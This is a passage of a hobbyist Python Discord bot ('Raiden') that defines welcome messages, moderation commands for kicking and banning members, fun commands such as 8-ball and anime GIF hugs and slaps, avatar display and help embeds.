:3\\n𝙃𝙤𝙥𝙚 𝙮𝙤𝙪'𝙡𝙡 𝙚𝙣𝙟𝙤𝙮 𝙮𝙤𝙪𝙧 𝙩𝙞𝙢𝙚 𝙝𝙚𝙧𝙚 <3\\n𝙈𝙖𝙠𝙚 𝙨𝙪𝙧𝙚 𝙩𝙤 𝙧𝙚𝙖𝙙 𝙖𝙡𝙡 𝙩𝙝𝙚 {rules_id.mention} 𝙖𝙣𝙙 𝙛𝙤𝙡𝙡𝙤𝙬 𝙩𝙝𝙚𝙢<3\")\r\n em.set_image(url=\"https://upload-os-bbs.hoyolab.com/upload/2021/12/24/138342831/91f844f579855247b96030dfc3386213_895886571671433499.gif\")\r\n em.set_thumbnail(url= avatar)\r\n \r\n server = Raiden.get_guild(1121115369646608434)\r\n role = discord.utils.get(server.roles, name=\"Friends\")\r\n # member.leave(member=member)\r\n welcome_role = discord.utils.get(server.roles, name=\"Welcomers\")\r\n \r\n\r\n \r\n\r\n await member.add_roles(role)\r\n await welcome_channel_id.send(embed= em)\r\n print(\"Person has joined the guild\")\r\n await general_chat_id.send(f\"{role} role has assigned to {member.mention}!\",)\r\n await general_chat_id.send(\"Welcome don't forget to get roles or I'll tickle your toes\")\r\n await general_chat_id.send(f\"{welcome_role.mention} new person had joined the guild\")\r\n#_____________________________________________________________________________________________________\r\n\r\n#_____________________________________________________________________________________________________\r\n# An even to play 8balls game\r\ndef eight_ballss(argument):\r\n ls = [\r\n \"It is certain\", \"It is decidedly so\", \"Without a doubt\", \"Yes definitely\", \r\n \"You may rely on it\", \"As I see it yes\", \"Most likely\", \"Outlook good\", \"Yes\", \r\n \"Signs point to yes\", \"Reply hazy try again\", \"Ask again later\", \"Better not tell you now\", \r\n \"Cannot predict now\", \"Concentrate and ask again\", \"Don't count on it\", \"My reply is no\", \r\n \"My sources say no\", \"Outlook not so good\", \"Very doubtful\"\r\n ]\r\n\r\n if argument.startswith(\"8balls\"):\r\n \r\n return random.choice(ls)\r\n#_____________________________________________________________________________________________________\r\n\r\n#an event to deal with normal messages for raiden\r\n\r\n\r\n@Raiden.event\r\nasync def on_message(message):\r\n if message.author == Raiden.user:\r\n return\r\n\r\n\r\n if message.content.startswith(\"$\"):\r\n if message.content == \"$hello\":\r\n \r\n await message.channel.send(to_upper(\"hello there\"))\r\n\r\n\r\n if message.content.startswith(\"8\"):\r\n v = eight_ballss(\"8balls\")\r\n\r\n em = discord.Embed(title=to_upper(\"8balls\"), description=v)\r\n em.set_thumbnail(url= \"https://media.giphy.com/avatars/P8ball/BKVY30EuiZPu.gif\")\r\n await message.channel.send(embed= em)\r\n await Raiden.process_commands(message)\r\n#_____________________________________________________________________________________________________\r\n\r\n\r\n#_____________________________________________________________________________________________________\r\n\r\n\r\n\r\n@Raiden.tree.command(name='anonymous', description='Send message anonymously')\r\nasync def anonymous(interaction: discord.Interaction, message: str): \r\n em = discord.Embed(title = f'⌦ 𓊈𒆜 ANONYMOUS MESSAGE 𒆜𓊉࿐☠️ \\n',description = f'** ♡˗ˏ✎ ➔** {message} \\n\\n ╰┈➤Volume: ■■■■■□□□' )\r\n em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n await interaction.channel.send(embed= em)\r\n await interaction.response.send_message(f'✅ **Your message has been sent anonymously :>**', ephemeral=True)\r\n\r\n#_____________________________________________________________________________________________________\r\n# a command to sum to numbers\r\n@Raiden.tree.command()\r\nasync def add(ctx: discord.Interaction, num1: str, num2: str):\r\n answer = int(num1) + int(num2)\r\n em = discord.Embed(title = 'SOMEONE CANNOT SUM HERE LMAOO!!!!',description = f\"> **Here, The sum of {num1} and {num2} is: **``{answer}`` ***Lmaoo!!***\" )\r\n if type(answer) is int:\r\n\r\n await ctx.response.send_message(embed= em)\r\n else:\r\n await ctx.response.send_message('> please provide integers only!')\r\n \r\n#_____________________________________________________________________________________________________\r\n# Importing my rules file \r\nimport song\r\n\r\n#_____________________________________________________________________________________________________\r\n@Raiden.command()\r\nasync def rules(ctx):\r\n r = song.rules_() # storing all strings from my rules file to r variable\r\n i = 1\r\n rules_channel = Raiden.get_channel(1127493094149996594) # here you need to put the id of rules channel \r\n if ctx.channel.id == 1127493094149996594: # put the id of your rules channel here\r\n em = discord.Embed(colour= ctx.author.color)\r\n em.set_image(url='https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExanhnc3Q3OTI0bWRpMDJnc2thbDhnbzV4djFyZTRqbXA1Z2pwOHY1MCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9cw/yugxK5nU8pWBmrcK1Z/giphy.gif')\r\n await ctx.send(embed = em)\r\n for rules in r:\r\n \r\n em = discord.Embed(title= to_upper(f\"Rule {i}\"), description=f\"***{rules}***\", colour= ctx.author.color)\r\n em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n em.set_thumbnail(url='https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExanhnc3Q3OTI0bWRpMDJnc2thbDhnbzV4djFyZTRqbXA1Z2pwOHY1MCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9cw/yugxK5nU8pWBmrcK1Z/giphy.gif')\r\n i = i + 1\r\n await ctx.send(embed = em)\r\n time.sleep(0.4)\r\n else:\r\n em = discord.Embed(title= to_upper(\"error\"), description=f\"***You are not in rules channel (go there stupid) *** {rules_channel.mention}\", colour= ctx.author.color)\r\n em.set_image(url= \" https://tenor.com/view/no-head-shaking-anime-nope-gif-14958903\")\r\n await ctx.send(embed = em)\r\n\r\n#_____________________________________________________________________________________________________\r\n\r\n\r\n#_____________________________________________________________________________________________________\r\n@Raiden.tree.command(name='addrole', description='To add role to anyone\\nType specific role you want to add to a member as well as mention the member')\r\nasync def addrole(ctx: discord.Interaction, role: str, member: discord.Member):\r\n \r\n if ctx.user.id == 874561925856505857: # here u need to put onwers id cause i made this command only for owner\r\n roles = discord.utils.get(ctx.guild.roles , name= role)\r\n\r\n \r\n await member.add_roles(roles)\r\n await ctx.response.send_message(f'> {roles} role is ***assigned*** to: {member}')\r\n else:\r\n await ctx.response.send_message('> You are not allowed to use this command. Contact owner for more information.\\n***Thank You!***')\r\n\r\n\r\n#_____________________________________________________________________________________________________\r\nimport asyncio\r\n#_____________________________________________________________________________________________________\r\n@Raiden.command()\r\nasync def say(ctx, *, args):\r\n print(len(args))\r\n authorname = ctx.author\r\n authorid = ctx.author.id\r\n authoraccess = f'https://discord.com/users/{authorid}'\r\n authoravatar = ctx.author.avatar\r\n \r\n\r\n async with ctx.typing():\r\n await asyncio.sleep(2)\r\n em = discord.Embed(title= f'> Imitating->{authorname}', description= f'> `` {args} ``', colour= ctx.author.color)\r\n em.set_author(name= authorname, icon_url= authoravatar , url=authoraccess)\r\n em.set_image(url=\"https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10\")\r\n await ctx.reply(embed = em)\r\n await ctx.message.delete()\r\n await asyncio.sleep(0.5)\r\n await ctx.send(\"***Done! Senpai!!!!***\")\r\n\r\n\r\n#_____________________________________________________________________________________________________\r\n\r\n\r\n#_____________________________________________________________________________________________________\r\n\r\n\r\n# A command for ping pong \r\n@Raiden.command()\r\nasync def ping(ctx):\r\n before = time.monotonic()\r\n await ctx.send(\"Here\")\r\n ping = (time.monotonic() - before) * 1000\r\n em = discord.Embed(description= f\"**Ponggggggggggg~~~~~!** `{int(ping)}ms`\" , colour= ctx.author.color)\r\n em.set_image(url=\"https://thumbs.gfycat.com/GoldenScaryBlowfish-size_restricted.gif\")\r\n await ctx.channel.send(embed = em)\r\n\r\n#_____________________________________________________________________________________________________\r\n\r\n@Raiden.command(name=\"password\")\r\nasync def password(context):\r\n password = g.random_()\r\n\r\n print(f\"Someone generated Password : {password}\")\r\n os.remove(\"password.txt\") \r\n\r\n em = discord.Embed(title= '> RANDOM PASSWORD', description=f\"> **ʜᴇʀᴇ ɪs ʏᴏᴜʀ ɢᴇɴᴇʀᴀᴛᴇᴅ ᴘᴀssᴡᴏʀᴅ: ** `` {password} ``\", colour= context.author.color)\r\n em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n\r\n await context.channel.send(embed = em)\r\n\r\n\r\n#_____________________________________________________________________________________________________\r\n# question game\r\n\r\n@Raiden.command()\r\nasync def question(ctx):\r\n q = questions()\r\n\r\n print(f'someone asked\\n{q}')\r\n\r\n em = discord.Embed(title= to_upper(\"> question!\"), description=f\"> {q}\", colour= ctx.author.color)\r\n em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n\r\n await ctx.channel.send(embed = em)\r\n#_____________________________________________________________________________________________________\r\n# A command to kick or ban members\r\n\r\n@Raiden.command()\r\n@commands.has_permissions(kick_members = True)\r\nasync def remove(context, member: discord.Member, reason = 'not specified'):\r\n \r\n role = discord.utils.get(context.guild.roles , name = \"Owner\") # put the roles names of your choice i used owner and admin roles cause i don't want other people to use this command.\r\n role2 = discord.utils.get(context.guild.roles , name = \"admin\")\r\n\r\n if context.author == member:\r\n em = discord.Embed(title=to_upper(\"what a stupid person\"), description=f\"{member.mention} you can't remove yourself STUPID!\")\r\n em.set_image(url= \"https://gifdb.com/images/high/mukai-naoya-angry-anime-slap-kn9tjua2wimu0rn9.gif\") \r\n await context.channel.send(embed = em)\r\n elif role in context.author.roles or role2 in context.author.roles:\r\n \r\n em = discord.Embed(title=to_upper(\"removed\"), description=f\"{member.mention} is removed from the server\\nReason: {reason}\")\r\n em.set_image(url= \" https://gifdb.com/images/high/anime-fight-flying-kick-o4ddmhew9wwdpp5w.gif\") \r\n await context.channel.send(embed = em)\r\n await context.guild.kick(discord.Object(id= member.id))\r\n else:\r\n await context.reply(\"you are not allowed to remove members from the server\")\r\n \r\n \r\n \r\n\r\n\r\n@Raiden.command()\r\n@commands.has_permissions(kick_members = True)\r\nasync def ban(context, member: discord.Member):\r\n \r\n role = discord.utils.get(context.guild.roles , name = \"Owner\") # put the roles names of your choice i used owner and admin roles cause i don't want other people to use this command.\r\n role2 = discord.utils.get(context.guild.roles , name = \"admin\")\r\n\r\n if context.author == member:\r\n em = discord.Embed(title=to_upper(\"what a stupid person\"), description=f\"{member.mention} you can't ban yourself STUPID!\")\r\n em.set_image(url= \"https://gifdb.com/images/high/mukai-naoya-angry-anime-slap-kn9tjua2wimu0rn9.gif\") \r\n await context.channel.send(embed = em)\r\n\r\n elif role in context.author.roles or role2 in context.author.roles:\r\n em = discord.Embed(title=to_upper(\"kicked\"), description=f\"{member.mention} is banned from the server\\nReason: not specified.\")\r\n em.set_image(url=\"https://media.tenor.com/HLx4m-urlBEAAAAC/kick-anime.gif\") \r\n await context.channel.send(embed = em)\r\n await context.guild.ban(discord.Object(id= member.id))\r\n else:\r\n await context.channel.send(\"Sorry you dont have permission to ban anyone.\")\r\n#_____________________________________________________________________________________________________________________________\r\n# an event to hug , kiss, pet, slap discord users in server\r\n\r\ngifs_url = [\"https://usagif.com/wp-content/uploads/gif/anime-hug-59.gif\",\"https://usagif.com/wp-content/uploads/gif/anime-hug-79.gif\",\r\n \"https://usagif.com/wp-content/uploads/gif/anime-hug-63.gif\", \"https://usagif.com/wp-content/uploads/gif/anime-hug-73.gif\",\r\n \"https://usagif.com/wp-content/uploads/gif/anime-hug-1.gif\", \"https://usagif.com/wp-content/uploads/gif/anime-hug-3.gif\",\r\n \"https://usagif.com/wp-content/uploads/gif/anime-hug-6.gif\", \"https://usagif.com/wp-content/uploads/gif/anime-hug-65.gif\",\r\n \"https://usagif.com/wp-content/uploads/gif/anime-hug-13.gif\", \"https://usagif.com/wp-content/uploads/gif/anime-hug-20.gif\",\r\n \"https://usagif.com/wp-content/uploads/gif/anime-hug-81.gif\", \"https://usagif.com/wp-content/uploads/gif/anime-hug-21.gif\",\r\n \"https://usagif.com/wp-content/uploads/gif/anime-hug-23.gif\", \"https://usagif.com/wp-content/uploads/gif/anime-hug-26.gif\",\r\n \"https://usagif.com/wp-content/uploads/gif/anime-hug-33.gif\", \"https://usagif.com/wp-content/uploads/gif/anime-hug-36.gif\",\r\n \"https://usagif.com/wp-content/uploads/gif/anime-hug-37.gif\", \"https://usagif.com/wp-content/uploads/gif/anime-hug-41.gif\",\r\n \"https://usagif.com/wp-content/uploads/gif/anime-hug-42.gif\", \"https://usagif.com/wp-content/uploads/gif/anime-hug-53.gif\",\r\n \"https://usagif.com/wp-content/uploads/gif/anime-hug-57.gif\", \"https://usagif.com/wp-content/uploads/gif/anime-hug-66.gif\",\r\n \"https://usagif.com/wp-content/uploads/gif/anime-hug-67.gif\",\"https://usagif.com/wp-content/uploads/gif/anime-hug-69.gif\",\r\n \"https://usagif.com/wp-content/uploads/gif/anime-hug-74.gif\", \"https://usagif.com/wp-content/uploads/gif/anime-hug-76.gif\",\r\n \"https://usagif.com/wp-content/uploads/gif/anime-hug-80.gif\", \"https://usagif.com/wp-content/uploads/gif/anime-hug-14.gif\",\r\n \"https://usagif.com/wp-content/uploads/gif/anime-hug-52.gif\", \"https://media.giphy.com/media/IRUb7GTCaPU8E/giphy.gif\",\r\n \"https://media.giphy.com/media/lrr9rHuoJOE0w/giphy.gif\", \"https://media.giphy.com/media/LIqFOpO9Qh0uA/giphy.gif\",\r\n \"https://media.giphy.com/media/49mdjsMrH7oze/giphy.gif\",\"https://media.giphy.com/media/49mdjsMrH7oze/giphy.gif\",\r\n \"https://media.giphy.com/media/Ph8gm8bhJCEgmO4n7z/giphy.gif\", \"https://media.giphy.com/media/f6y4qvdxwEDx6/giphy.gif\",\r\n \"https://media.giphy.com/media/aD1fI3UUWC4/giphy.gif\", \"https://aniyuki.com/wp-content/uploads/2022/06/anime-hugs-aniyuki-58.gif\",\r\n \"https://aniyuki.com/wp-content/uploads/2022/06/anime-hugs-aniyuki-57.gif\", \"https://aniyuki.com/wp-content/uploads/2022/06/anime-hugs-aniyuki-52.gif\",\r\n \"https://aniyuki.com/wp-content/uploads/2022/06/anime-hugs-aniyuki-52.gif\", \"https://aniyuki.com/wp-content/uploads/2022/06/anime-hugs-aniyuki-41.gif\",\r\n \"https://aniyuki.com/wp-content/uploads/2022/06/anime-hugs-aniyuki-25.gif\"\r\n ]\r\n\r\ngifs_pet_url = [\"https://media.giphy.com/media/5tmRHwTlHAA9WkVxTU/giphy.gif\", \"https://media.giphy.com/media/ye7OTQgwmVuVy/giphy.gif\",\r\n \"https://media.giphy.com/media/109ltuoSQT212w/giphy.gif\", \"https://media.giphy.com/media/xVgGouGtc21H2/giphy.gif\",\r\n \"https://media.giphy.com/media/osYdfUptPqV0s/giphy.gif\", \"https://media.giphy.com/media/Z7x24IHBcmV7W/giphy.gif\",\r\n \"https://aniyuki.com/wp-content/uploads/2022/08/aniyuki-anime-head-pat-gifs-2.gif\", \"https://aniyuki.com/wp-content/uploads/2022/08/aniyuki-anime-head-pat-gifs-1.gif\",\r\n \"https://aniyuki.com/wp-content/uploads/2022/08/aniyuki-anime-head-pat-gifs-13.gif\", \"https://aniyuki.com/wp-content/uploads/2022/08/aniyuki-anime-head-pat-gifs-11.gif\",\r\n \"https://aniyuki.com/wp-content/uploads/2022/08/aniyuki-anime-head-pat-gifs-12.gif\", \"https://aniyuki.com/wp-content/uploads/2022/08/aniyuki-anime-head-pat-gifs-10.gif\",\r\n \"https://aniyuki.com/wp-content/uploads/2022/08/aniyuki-anime-head-pat-gifs-9.gif\", \"https://aniyuki.com/wp-content/uploads/2022/08/aniyuki-anime-head-pat-gifs-8.gif\",\r\n \" https://aniyuki.com/wp-content/uploads/2022/08/aniyuki-anime-head-pat-gifs-6.gif\", \"https://aniyuki.com/wp-content/uploads/2022/08/aniyuki-anime-head-pat-gifs-19.gif\",\r\n \"https://aniyuki.com/wp-content/uploads/2022/08/aniyuki-anime-head-pat-gifs-17.gif\", \" https://aniyuki.com/wp-content/uploads/2022/08/aniyuki-anime-head-pat-gifs-14.gif\",\r\n \" https://aniyuki.com/wp-content/uploads/2022/08/aniyuki-anime-head-pat-gifs-24.gif\" , \"https://aniyuki.com/wp-content/uploads/2022/08/aniyuki-anime-head-pat-gifs-24.gif\",\r\n \"https://aniyuki.com/wp-content/uploads/2022/08/aniyuki-anime-head-pat-gifs-26.gif\", \"https://aniyuki.com/wp-content/uploads/2022/08/aniyuki-anime-head-pat-gifs-26.gif\",\r\n \"https://aniyuki.com/wp-content/uploads/2022/08/aniyuki-anime-head-pat-gifs-40.gif\", \"https://aniyuki.com/wp-content/uploads/2022/08/aniyuki-anime-head-pat-gifs-37.gif\",\r\n \"https://aniyuki.com/wp-content/uploads/2022/08/aniyuki-anime-head-pat-gifs-36.gif\", \"https://aniyuki.com/wp-content/uploads/2022/08/aniyuki-anime-head-pat-gifs-33.gif\",\r\n \"https://aniyuki.com/wp-content/uploads/2022/08/aniyuki-anime-head-pat-gifs-32.gif\"\r\n ]\r\nanime_kick_urls = [\" https://media.tenor.com/icV2ba3gU7MAAAAM/kick-anime.gif\", \" https://i.pinimg.com/originals/91/0b/6b/910b6b5cd2cfa1c98be615b53897e62b.gif\",\r\n \" https://i.pinimg.com/originals/3f/21/2a/3f212a46e353c61c839a107d755048cd.gif\", \" https://media.tenor.com/IlaJyD0XEMwAAAAC/index-anime.gif\",\r\n \" https://i.makeagif.com/media/2-24-2016/XzDZ9h.gif\", \" https://64.media.tumblr.com/a20e21f75393bcc7709e16cb6d07429f/tumblr_psab4sgpiC1sk6fb9_1280.gif\",\r\n \"https://i.pinimg.com/originals/44/6f/49/446f49e675e38e1bb10d226f12519092.gif\", \" https://64.media.tumblr.com/1ae35cc7d78b5e579d5baabe3f0c03db/93cab037caf29e98-82/s540x810/00a2d481867ccd79d1302aced86271584594dae9.gif\",\r\n \" https://giffiles.alphacoders.com/921/92147.gif\", \"https://i.kym-cdn.com/photos/images/newsfeed/001/053/707/042.gif\",\r\n \" https://i.pinimg.com/originals/e2/85/3a/e2853aff4a34f7487edce8f69cfb2d01.gif\", \" https://i.kym-cdn.com/photos/images/original/002/401/225/c0c.gif\",\r\n \" https://i.kym-cdn.com/photos/images/original/001/901/624/515.gif\", \" https://media.tenor.com/BtwpZlg90ZkAAAAC/kick-anime.gif\",\r\n \" https://i.gifer.com/OHNW.gif\", \"https://media.tenor.com/_R4OnJYIeYcAAAAd/anime-kick.gif\",\r\n \" https://2.bp.blogspot.com/-58a9DDQ9bfc/WIZzChNFw0I/AAAAAAAAt5s/yIHCOiaFWngmaV7Uw27XeHdApdxVaz4jwCPcB/s1600/Omake%2BGif%2BAnime%2B-%2BGabriel%2BDropOut%2B-%2BEpisode%2B3%2B-%2BGab%2BKicks%2BSatania.gif\",\r\n \r\n ]\r\nanime_kissing_urls = [\"https://usagif.com/wp-content/uploads/anime-kissin-2.gif\", \"https://usagif.com/wp-content/uploads/anime-kissin-1.gif\", \"https://usagif.com/wp-content/uploads/anime-kissin-16.gif\",\r\n \"https://usagif.com/wp-content/uploads/anime-kissin-17.gif\", \" https://usagif.com/wp-content/uploads/anime-kissin-19.gif\", \" https://usagif.com/wp-content/uploads/anime-kissin-5.gif\",\r\n \"https://usagif.com/wp-content/uploads/anime-kissin-6.gif\", \" https://usagif.com/wp-content/uploads/anime-kissin-7.gif\", \" https://usagif.com/wp-content/uploads/anime-kissin-8.gif\",\r\n \" https://usagif.com/wp-content/uploads/anime-kissin-9.gif\", \" https://usagif.com/wp-content/uploads/anime-kissin-10.gif\", \" https://usagif.com/wp-content/uploads/anime-kissin-12.gif\",\r\n \" https://usagif.com/wp-content/uploads/anime-kissin-13.gif\", \"https://usagif.com/wp-content/uploads/anime-kissin-15.gif\", \" https://usagif.com/wp-content/uploads/anime-kiss-35.gif\",\r\n \" https://usagif.com/wp-content/uploads/anime-kiss-33.gif\", \" https://usagif.com/wp-content/uploads/anime-kiss-32.gif\", \" https://usagif.com/wp-content/uploads/anime-kiss-31.gif\",\r\n \"https://usagif.com/wp-content/uploads/anime-kiss-30.gif\", \"https://usagif.com/wp-content/uploads/anime-kiss-28.gif\", \"https://usagif.com/wp-content/uploads/anime-kiss-26.gif\",\r\n \"https://usagif.com/wp-content/uploads/anime-kiss-23.gif\", \"https://usagif.com/wp-content/uploads/anime-kiss-22.gif\", \"https://usagif.com/wp-content/uploads/anime-kiss-20.gif\",\r\n \"https://usagif.com/wp-content/uploads/anime-kiss-19.gif\", \" https://usagif.com/wp-content/uploads/anime-kiss-17.gif\", \"https://usagif.com/wp-content/uploads/anime-kiss-15.gif\",\r\n \"https://usagif.com/wp-content/uploads/anime-kiss-13.gif\", \"https://usagif.com/wp-content/uploads/anime-kiss-10.gif\", \"https://usagif.com/wp-content/uploads/anime-kiss-6.gif\"\r\n ]\r\n\r\nslap_anime_url = [\"https://media.giphy.com/media/xUNd9HZq1itMkiK652/giphy.gif\", \"https://media.giphy.com/media/Gf3AUz3eBNbTW/giphy.gif\",\r\n \"https://gifdb.com/images/high/mukai-naoya-angry-anime-slap-kn9tjua2wimu0rn9.gif\", \"https://gifdb.com/images/high/mad-anime-female-character-slap-0zljynqqf0gopfhg.gif\",\r\n \"https://gifdb.com/images/high/revenge-anime-slap-over-bread-4zr2a8mslm7ov2sm.gif\", \"https://gifdb.com/images/high/girl-s-last-tour-anime-slap-51dqai0u072jrc21.gif\",\r\n \"https://gifdb.com/images/high/strong-throw-up-anime-slap-ffszl7lbg930n4gt.gif\", \"https://gifdb.com/images/high/kokoro-wake-up-anime-slap-lpcv2c43am2bfsl8.gif\",\r\n \"https://gifdb.com/images/high/zombie-land-saga-anime-slap-8w2vx6zxpbijxq85.gif\", \"https://gifdb.com/images/high/yuruyuri-akari-kyoko-anime-slap-fcacgc0edqhci6eh.gif\",\r\n \"https://gifdb.com/images/high/up-close-angry-anime-slap-lf84tjs2sgx8obdr.gif\", \"https://gifdb.com/images/high/angry-girl-student-anime-slap-srn4m1rzgboj6gts.gif\",\r\n \"https://gifdb.com/images/high/blushing-female-anime-slap-m5wqeyulkwcnqae7.gif\", \"https://gifdb.com/images/high/funny-horse-head-anime-slap-mhazsm4ruyxnsr5j.gif\",\r\n \"https://gifdb.com/images/high/mad-gangster-anime-slap-nnulodryf9gpmj9n.gif\", \"https://gifdb.com/images/high/sweet-anime-slap-sara-no-method-cdlnjmondb9vbf27.gif\",\r\n \"https://gifdb.com/images/high/anime-slap-angry-sakura-haruno-coubcjfgw0yx9z17.gif\", \"https://gifdb.com/images/high/tsukimichi-mio-fast-anime-slap-2lyodw81eyovnfjq.gif\"\r\n\r\n ]\r\n\r\nkick_names = [\"Kicking\", \"kicked\", \"kicking hard \", \"just kicked\", \"kicked cutely\"]\r\nhug_names = [\"Hugs\",\"Hugging\",\"Cuddling\",\"Doing something to~\"]\r\npet_names = [\"Petting\", \"Headpets to \", \" Petting head of\", \" Giving head pet\"]\r\nkissing_names = [\"Kissing\", \"kissed\", \"Justt kissed~\", \"Giving Kiss to~\"]\r\nslapping_names = [\"Slaps\", \"slapped\", \"slapping\", \"Just slapped\"]\r\n\r\n\r\n@Raiden.command()\r\nasync def hug(ctx, *, member : discord.Member):\r\n embed = discord.Embed(\r\n title= to_upper(\"hug!\"),\r\n colour=ctx.author.color,\r\n description=f\"{ctx.author.mention} {random.choice(hug_names)} {member.mention}\"\r\n )\r\n embed.set_image(url=(random.choice(gifs_url)))\r\n\r\n await ctx.send(embed=embed)\r\n\r\n\r\n@Raiden.command()\r\nasync def pet(ctx, *, member : discord.Member):\r\n embed = discord.Embed(\r\n title=to_upper(\"head_pet!\"),\r\n colour=ctx.author.color,\r\n description=f\"{ctx.author.mention} {random.choice(pet_names)} {member.mention}\"\r\n )\r\n embed.set_image(url=(random.choice(gifs_pet_url)))\r\n\r\n await ctx.send(embed=embed)\r\n\r\n\r\n@Raiden.command()\r\nasync def kick(ctx, *, member : discord.Member):\r\n embed = discord.Embed(\r\n title=to_upper(\"kicking!\"),\r\n color= ctx.author.color,\r\n description=f\"{ctx.author.mention} {random.choice(kick_names)} {member.mention}\"\r\n )\r\n embed.set_image(url= random.choice(anime_kick_urls))\r\n\r\n await ctx.channel.send(embed = embed)\r\n\r\n\r\n@Raiden.command()\r\nasync def kiss(context, *, member : discord.Member):\r\n embed = discord.Embed(\r\n title= to_upper(\"kissue!\"),\r\n color= context.author.color,\r\n description= f\"{context.author.mention} {random.choice(kissing_names)} {member.mention}\"\r\n \r\n )\r\n embed.set_image(url= random.choice(anime_kissing_urls))\r\n\r\n await context.channel.send(embed = embed)\r\n\r\n\r\n@Raiden.command()\r\nasync def slap(context, *, member : discord.Member):\r\n embed = discord.Embed(\r\n title= to_upper(\"slapping!\"),\r\n color= context.author.color,\r\n description= f\"{context.author.mention} {random.choice(slapping_names)} {member.mention}\"\r\n \r\n )\r\n embed.set_image(url= random.choice(slap_anime_url))\r\n\r\n await context.channel.send(embed = embed)\r\n#___________________________________________________________________________________________________________________________\r\n\r\n#___________________________________________________________________________________________________________________________\r\n# an event to show user avatars\r\n\r\n@Raiden.command()\r\nasync def avatar(ctx, *, avamember : discord.Member=None):\r\n userAvatarUrl = avamember.avatar\r\n\r\n em = discord.Embed(title=f\"{to_upper('avatar')} of {avamember._user}\")\r\n em.set_image(url= userAvatarUrl)\r\n await ctx.send(embed= em)\r\n print(userAvatarUrl)\r\n\r\n url = userAvatarUrl\r\n \r\n response = requests.get(url)\r\n\r\n with open(\"Avatar.jpg\", 'wb') as o:\r\n o.write(response.content)\r\n\r\n\r\n#_______________________________________________________________________________________________________________________________\r\n# Avatars command to see multiple avatars at once\r\n@Raiden.command()\r\nasync def avatars(ctx, members: commands.Greedy[discord.Member]):\r\n ls = []\r\n for urls in members:\r\n ls.append(urls.avatar)\r\n \r\n\r\n if len(ls) > 1:\r\n for avatarr in members: \r\n em = discord.Embed(title=f\"{to_upper('avatar')} of {avatarr._user}\")\r\n em.set_image(url= avatarr.avatar)\r\n \r\n await ctx.send(embed= em)\r\n\r\n elif len(ls) < 2:\r\n em = discord.Embed(\r\n title= 'Error!',\r\n description= 'Sorry ***This function*** is only to check multiple users avatar at sametime\\n use ***>avatar*** to check only **1 person avatar** at a time. <3 Thank you!',\r\n color= ctx.author.color \r\n )\r\n em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n await ctx.send(embed = em)\r\n\r\n#_______________________________________________________________________________________________________________________________ \r\n \r\n\r\n#_______________________________________________________________________________________________________________________________\r\n# A command to check all commands\r\n@Raiden.group(invoke_without_command= True)\r\nasync def help(ctx):\r\n em = discord.Embed(title=\"Help\", description=\"Use >help <command_name> for extend information related to that command\")\r\n\r\n em.add_field(name= to_upper(\"moderation !\"), value=\"> remove\\n> ban\\n> autorole\")\r\n em.add_field(name= to_upper(\"fun !\"), value=\"> 8balls\\n> hug\\n> say \\n> avatar\\n> avatars \\n> add [ slash command ] \\n> kick\\n> kiss\\n> pet \\n> slap \\n> password\\n> question\\n> addrole\\n> anonymous [ slash command ]\")\r\n em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n await ctx.channel.send(embed = em)\r\n\r\n@help.command()\r\nasync def remove(ctx):\r\n em = discord.Embed(title=\"remove\", description=\"> To remove a member from the server\", color=ctx.author.color)\r\n em.add_field(name=\"**Syntax**\", value=\">remove (Mention_member) \")\r\n em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n await ctx.channel.send(embed = em)\r\n\r\n\r\n@help.command()\r\nasync def pet(ctx):\r\n em = discord.Embed(title=\"Headpet\", description=\"> To pet someone in your server\", color=ctx.author.color)\r\n em.add_field(name=\"**Pet**\", value=\">pet (Mention_member) \")\r\n em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n await ctx.channel.send(embed = em)\r\n\r\n\r\n@help.command()\r\nasync def slap(ctx):\r\n em = discord.Embed(title=\"Slap\", description=\"> To slap a member from the server\", color=ctx.author.color)\r\n em.add_field(name=\"**Slap**\", value=\">slap (Mention_member) \")\r\n em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n await ctx.channel.send(embed = em)\r\n\r\n\r\n@help.command()\r\nasync def avatars(ctx):\r\n em = discord.Embed(title=\"Avatars\", description=\"> To check many avatars at same time\", color=ctx.author.color)\r\n em.add_field(name=\"**Avatars**\", value=\">avatars (Mention_member) \")\r\n em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n await ctx.channel.send(embed = em)\r\n\r\n\r\n\r\n@help.command()\r\nasync def say(ctx):\r\n em = discord.Embed(title=\"say\", description=\"> To let your bot imitate what you type \", color=ctx.author.color)\r\n em.add_field(name=\"**say**\", value=\">say (Your message) \")\r\n em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n await ctx.channel.send(embed = em)\r\n\r\n\r\n\r\n@help.command()\r\nasync def anonymous(ctx):\r\n em = discord.Embed(title=\"anonymous\", description=\"> To send message anonymously\", color=ctx.author.color)\r\n em.add_field(name=\"**/anonymous**\", value=\"Just enter your message \")\r\n 